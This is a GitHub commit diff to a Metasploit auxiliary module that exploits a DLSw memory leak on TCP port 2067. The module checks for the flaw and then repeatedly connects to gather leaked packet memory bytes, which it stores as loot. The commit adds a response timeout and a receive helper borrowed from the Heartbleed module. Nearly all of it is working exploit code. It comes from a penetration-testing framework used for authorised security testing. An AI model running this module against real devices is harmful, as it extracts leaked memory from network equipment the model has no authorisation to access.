Skip to content

Commit a4a1048

Browse files
author
tate
committed
modified to get data collection off sock working
1 parent da02589 commit a4a1048

File tree

1 file changed

+32
-6
lines changed

1 file changed

+32
-6
lines changed

modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb

Lines changed: 32 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -38,13 +38,21 @@ def initialize
3838
register_options(
3939
[
4040
Opt::RPORT(2067),
41-
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024])
41+
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]),
42+
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 5])
4243
], self.class)
4344
end
4445

46+
def peer
47+
peer = "#{rhost}:#{rport}"
48+
end
49+
50+
def response_timeout
51+
datastore['RESPONSE_TIMEOUT']
52+
end
53+
4554
# Called when using check
4655
def check_host(ip)
47-
peer = "#{ip}:#{rport}"
4856
print_status("Checking #{peer} for DLSw exposure")
4957
response = get_response
5058

@@ -70,20 +78,37 @@ def check_host(ip)
7078

7179
def get_response(size = 1024)
7280
connect
73-
response = sock.recv(size)
81+
response = get_data(size)
7482
disconnect
7583
response
7684
end
7785

86+
# Borrowed from https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb
87+
def get_data(length = -1)
88+
89+
return sock.get_once(-1, response_timeout) if length == -1
90+
91+
to_receive = length
92+
data = ''
93+
while to_receive > 0
94+
temp = sock.get_once(to_receive, response_timeout)
95+
break if temp.nil?
96+
97+
data << temp
98+
to_receive -= temp.length
99+
end
100+
data
101+
end
102+
78103
# Main method
79104
def run_host(ip)
80105
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
81106

82-
print_status("#{ip}:#{rport} Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data")
107+
print_status("#{peer}: Waiting for #{datastore['LEAK_AMOUNT']} bytes of leaked data")
83108

84109
dlsw_data = ''
85110
until dlsw_data.length > datastore['LEAK_AMOUNT']
86-
response = get_response
111+
response = get_response(72)
87112
unless response.blank?
88113
dlsw_data << response[18..72] # range of the leaked packet contents
89114
end
@@ -100,6 +125,7 @@ def loot_and_report(dlsw_data)
100125
'DLSw_leaked_data',
101126
'DLSw packet memory leak'
102127
)
103-
print_status("#{ip}:#{rport}: DLSw leaked data stored in #{path}")
128+
print_status("#{peer}: DLSw leaked data stored in #{path}")
104129
end
105130
end
131+

0 commit comments

Comments
 (0)